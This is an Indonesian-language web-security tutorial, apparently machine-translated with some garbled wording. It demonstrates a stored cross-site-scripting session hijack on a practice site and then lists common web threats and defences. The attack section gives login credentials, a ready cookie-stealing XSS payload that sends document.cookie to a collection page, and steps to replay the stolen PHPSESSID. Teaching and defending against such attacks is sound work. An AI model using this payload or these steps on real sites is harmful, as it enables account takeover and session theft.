Bagaimana Cara Meretas Situs Web? Teknik Peretasan Situs Web
โก Ringkasan Cerdas
Peretasan situs web mengeksploitasi kelemahan dalam aplikasi web โ kode yang ditulis dengan buruk, input yang tidak disanitasi, dan penanganan sesi yang lemah โ untuk mendapatkan akses tanpa izin. Halaman ini mendemonstrasikan teknik serangan umum dan, yang lebih penting, tindakan pencegahan yang menjaga keamanan situs web.

Lebih banyak orang memiliki akses ke internet dibandingkan sebelumnya. Hal ini mendorong banyak organisasi untuk mengembangkan aplikasi berbasis web yang dapat digunakan pengguna secara online untuk berinteraksi dengan organisasi. Kode aplikasi web yang ditulis dengan buruk dapat dieksploitasi untuk mendapatkan akses tidak sah ke data sensitif dan server web.
Anda akan mempelajari teknik peretasan situs web umum dan langkah-langkah penanggulangan yang melindungi dari serangan tersebut.
Cara Meretas Situs Web
Dalam skenario praktis peretasan situs web ini, kita akan membajak sesi pengguna aplikasi web yang berlokasi di www.techpanda.orgKami akan menggunakan cross-site scripting untuk membaca ID sesi cookie, lalu menggunakannya untuk meniru sesi pengguna yang sah.
Asumsi yang dibuat adalah bahwa penyerang memiliki akses ke aplikasi web dan ingin membajak sesi pengguna lain yang menggunakan aplikasi yang sama. Tujuan dari serangan ini bisa jadi untuk mendapatkan akses admin ke aplikasi web, dengan asumsi akun akses penyerang adalah akun terbatas.
Langkah 1) Buka URL http://www.techpanda.org/.
Untuk keperluan latihan, sangat disarankan untuk mendapatkan akses menggunakan SQL Injection. Lihat artikel ini tentang SQL Injection untuk informasi lebih lanjut tentang cara melakukannya.
Langkah 2) Masukkan Detail Login.
Alamat email untuk login adalah admin@google.com, dan kata sandinya adalah Password2010.
Langkah 3) Periksa dasbor.
Jika Anda berhasil masuk, Anda akan mendapatkan dasbor berikut.
Langkah 4) Masukkan Konten Baru.
Klik Tambah Kontak Baru dan masukkan yang berikut ini sebagai nama depan:
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Langkah 5) Tambahkan JavaNaskah.
Kode di atas menggunakan JavaSkrip. Skrip ini menambahkan hyperlink dengan event onclick. Ketika pengguna yang tidak curiga mengklik tautan tersebut, event tersebut akan mengambil data yang dibutuhkan. ID sesi cookie PHP dan mengirimkannya ke halaman snatch_sess_id.php bersama dengan ID sesi di dalamnya. URL.
Langkah 6) Tambahkan Detail.
Masukkan detail lainnya seperti yang ditunjukkan di bawah ini dan klik Simpan Perubahan.
Langkah 7) Periksa dasbor.
Dasbor Anda sekarang akan terlihat seperti layar berikut.
Langkah 8) Periksa ID sesi.
Karena skrip lintas situs disimpan dalam basis data, skrip tersebut dimuat setiap kali pengguna dengan hak akses masuk. Ketika administrator masuk dan mengklik hyperlink yang bertuliskan Dark, mereka akan mendapatkan jendela dengan ID sesi yang ditampilkan di dalamnya. URL.
Catatan: skrip dapat mengirimkan nilai tersebut ke server jarak jauh tempat PHPSESSID disimpan, lalu mengarahkan pengguna kembali seolah-olah tidak terjadi apa-apa.
Catatan: nilai yang Anda peroleh mungkin berbeda dari yang ditampilkan di sini, tetapi konsepnya sama.
Sesi Peniruan Identitas menggunakan Firefox dan tambahan Tamper Data
Catatan: add-on Tamper Data klasik yang ditunjukkan di bawah ini tidak lagi dapat diinstal pada versi terbaru. FirefoxNamun, konsep yang diilustrasikanโmencegat dan memodifikasi permintaan HTTP untuk memutar ulang sesi yang telah direkamโtetap tidak berubah.
Diagram alur di bawah ini menunjukkan langkah-langkah yang harus Anda ambil untuk menyelesaikan latihan ini.
- Anda akan membutuhkan Firefox browser web untuk bagian ini dan add-on Data Perubahan.
- Open Firefox dan instal add-on seperti yang ditunjukkan pada diagram di bawah ini.
- Cari data tamper, lalu klik instal seperti yang ditunjukkan di atas.
- Klik Terima dan Instalโฆ
- Klik Mulai ulang sekarang setelah instalasi selesai.
- Aktifkan bilah menu di Firefox jika tidak ditampilkan.
- Klik menu Alat, lalu pilih Data Perubahan seperti yang ditunjukkan di bawah ini.
- Anda akan mendapatkan jendela berikut. Catatan: Jika jendela tidak kosong, tekan tombol hapus.
- Klik pada menu Mulai Tamper.
- Kembali ke Firefox Buka browser web, ketik http://www.techpanda.org/dashboard.php, lalu tekan tombol Enter untuk memuat halaman.
- Anda akan mendapatkan jendela pop-up berikut dari Tamper Data.
- Jendela pop-up memiliki tiga (3) opsi. Opsi Tamper memungkinkan Anda untuk memodifikasi informasi header HTTP sebelum dikirimkan ke server.
- Klik itu.
- Anda akan mendapatkan jendela berikut.
- Salin ID sesi PHP yang Anda dapatkan dari serangan tersebut. URL lalu tempelkan setelah tanda sama dengan. Nilai Anda sekarang akan terlihat seperti ini.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klik pada tombol OK.
- Anda akan mendapatkan jendela pop-up Data Perubahan lagi.
- Hapus tanda centang pada kotak yang menanyakan Lanjutkan Perusakan?
- Klik tombol kirim setelah selesai.
- Anda seharusnya dapat melihat dasbor seperti yang ditunjukkan di bawah ini.
Catatan: kami tidak masuk; kami meniru sesi masuk menggunakan nilai PHPSESSID yang kami peroleh menggunakan cross-site scripting.
Apa itu Aplikasi Web? Apa itu Ancaman Web?
Aplikasi web (atau situs web) adalah aplikasi yang berbasis pada model klien-server. Server menyediakan akses basis data dan logika bisnis. Aplikasi ini dihosting di server web. Aplikasi klien berjalan di peramban web klien. Aplikasi web biasanya ditulis dalam bahasa seperti [bahasa pemrograman tertentu]. Java, C#, VB.Net, PHP, dan ColdFusion Markup Language, dll. Mesin basis data yang digunakan dalam aplikasi web meliputi MySQL, MSSQL Server, PostgreSQL, SQLite, Dll
Teknik Peretasan Situs Web Teratas
Sebagian besar aplikasi web dihosting di server publik. server Dapat diakses melalui internet. Hal ini membuat mereka rentan terhadap serangan karena kemudahan akses. Berikut adalah ancaman umum pada aplikasi web.
- SQL Injection โ tujuan dari ancaman ini bisa jadi untuk menerobos algoritma login, menyabotase data, dan lain sebagainya.
- Denial of Service Serangan โ Tujuan dari ancaman ini bisa jadi untuk mencegah pengguna yang sah mengakses sumber daya tersebut.
- Pembuatan Skrip Lintas Situs (XSS) โ Tujuan dari ancaman ini bisa jadi untuk menyuntikkan kode yang dapat dieksekusi di browser sisi klien.
- Keracunan Cookie/Sesi โ tujuan ancaman ini adalah untuk mengubah cookie/data sesi oleh penyerang untuk mendapatkan akses tidak sah.
- Perusakan Formulir โ tujuan dari ancaman ini adalah untuk mengubah bentuk data seperti harga di aplikasi e-commerce sehingga penyerang bisa mendapatkan barang dengan harga lebih murah.
- Code Injeksi โ tujuan dari ancaman ini adalah untuk memasukkan kode seperti PHP, Python, dll. yang dapat dieksekusi di server. Kode tersebut dapat menginstal pintu belakang, mengungkapkan informasi sensitif, dll.
- Perusakan โ Tujuan dari ancaman ini adalah untuk memodifikasi halaman yang ditampilkan di situs web dan mengarahkan semua permintaan halaman ke satu halaman yang berisi pesan penyerang.
Bagaimana Melindungi Situs Web Anda dari Peretasan?
Suatu organisasi dapat mengadopsi kebijakan berikut untuk melindungi dirinya dari serangan server web.
- SQL Injection โ Membersihkan dan memvalidasi parameter pengguna sebelum mengirimkannya ke basis data untuk diproses dapat membantu mengurangi kemungkinan serangan melalui SQL Injection. Mesin basis data seperti MS SQL Server, MySQL, dll. mendukung parameter dan prepared statement. Fitur ini jauh lebih aman daripada statement SQL tradisional.
- Penolakan serangan layanan โ Firewall dapat digunakan untuk memblokir lalu lintas dari alamat IP yang mencurigakan jika serangannya berupa DoS sederhana. Konfigurasi jaringan yang tepat dan Sistem Deteksi Intrusi juga dapat membantu mengurangi kemungkinan keberhasilan serangan DoS.
- Cross-Site Scripting โ memvalidasi dan membersihkan header, parameter yang diteruskan melalui URLParameter formulir dan nilai tersembunyi dapat membantu mengurangi serangan XSS.
- Keracunan Cookie/Sesi โ Hal ini dapat dicegah dengan mengenkripsi isi cookie, menetapkan masa berlaku cookie setelah beberapa waktu, dan mengaitkan cookie dengan alamat IP klien yang digunakan untuk membuatnya.
- Perusakan Formulir โ Hal ini dapat dicegah dengan memvalidasi dan memverifikasi input pengguna sebelum memprosesnya.
- Code Injeksi โ Hal ini dapat dicegah dengan memperlakukan semua parameter sebagai data, bukan sebagai kode yang dapat dieksekusi. Sanitasi dan validasi dapat digunakan untuk menerapkan hal ini.
- Perusakan โ bagus keamanan aplikasi web Kebijakan tersebut harus memastikan bahwa kebijakan tersebut menutup kerentanan yang umum digunakan untuk mengakses server web. Hal ini dapat dilakukan melalui konfigurasi sistem operasi yang tepat, perangkat lunak server web, dan praktik keamanan terbaik saat pengembangan.ping aplikasi web.
Periksa ini: 9 Best URL Pemindai untuk Memeriksa Apakah Tautan Aman dari Malware


















